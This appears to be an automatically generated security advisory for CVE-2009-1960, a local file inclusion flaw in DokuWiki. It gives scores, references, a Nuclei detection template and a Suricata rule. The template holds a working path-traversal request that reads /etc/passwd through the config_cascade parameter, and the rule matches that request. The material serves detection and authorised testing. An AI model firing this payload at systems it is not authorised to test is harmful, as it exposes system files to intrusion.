CVE-2009-1960: vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.

Description quoted from the CVE record (assigned by mitre, published 2009-06-06).

How it can be exploited

Public exploit evidence (Exploit Observer)

Exploit Observer found 2 Exploit-DB entries and 5 code repositories naming this CVE.

Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.

See all 17 references on Exploit Observer

Live scores

EPSS
0.317
likely to be attacked soon
VEDAS
0.985
strong exploit evidence
On CISA KEV
Not listed
Detection rule
Nuclei · Suricata

Who is affected

ProductAffectedNot affected
Not statedversions not stated in the recordNot stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

How to fix it

No fixed version or vendor advisory is listed in the CVE record yet. Watch the vendor’s security page.

How to detect it

Nuclei template (active check)

Dokuwiki - Path Traversal

inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.

Name and description quoted from the template, written by VEDAS.

The template sends 1 request (GET /doku.php?config_cascade[main][default][]=../../../../../../../../....); it decides using regex, status matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2009-1960.yaml
Show the template (32 lines)
yaml
id: CVE-2009-1960

info:
  name: "Dokuwiki - Path Traversal"
  author: vedas-arpsyndicate
  severity: high
  description: |
    inc/init.php in DokuWiki 2009-02-14, rc2009-02-06, and rc2009-01-30, when register_globals is enabled, allows remote attackers to include and execute arbitrary local files via the config_cascade[main][default][] parameter to doku.php. NOTE: PHP remote file inclusion is also possible in PHP 5 using ftp:// URLs.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2009-1960&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=dokuwiki&match=exact
  classification:
    cve-id: CVE-2009-1960
    cwe-id: CWE-94
  metadata:
    verified: false
    max-request: 1
  tags: cve,cve2009,dokuwiki,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/doku.php?config_cascade[main][default][]=../../../../../../../../../../etc/passwd"
    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:' 
      - type: status
        status:
          - 200

CVE-2009-1960.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2009-1960 Dokuwiki - Path Traversal. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2009-1960 Dokuwiki - Path Traversal"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"doku.php"; nocase; fast_pattern; content:"config_cascade[main][default][]="; nocase; content:"etc/passwd"; nocase; classtype:web-application-attack; reference:cve,CVE-2009-1960; reference:url,https://www.exploit.observer/?keyword=CVE-2009-1960&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=dokuwiki&match=exact; sid:1012584; rev:1;)

CVE-2009-1960.rules on GitHub

References

Exploit code

  • 8812 (exploit, x_refsource_EXPLOIT-DB)
  • 8781 (exploit, x_refsource_EXPLOIT-DB)

Technical analysis and advisories

  • 35218 (third-party-advisory, x_refsource_SECUNIA)

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.

Supporting partners

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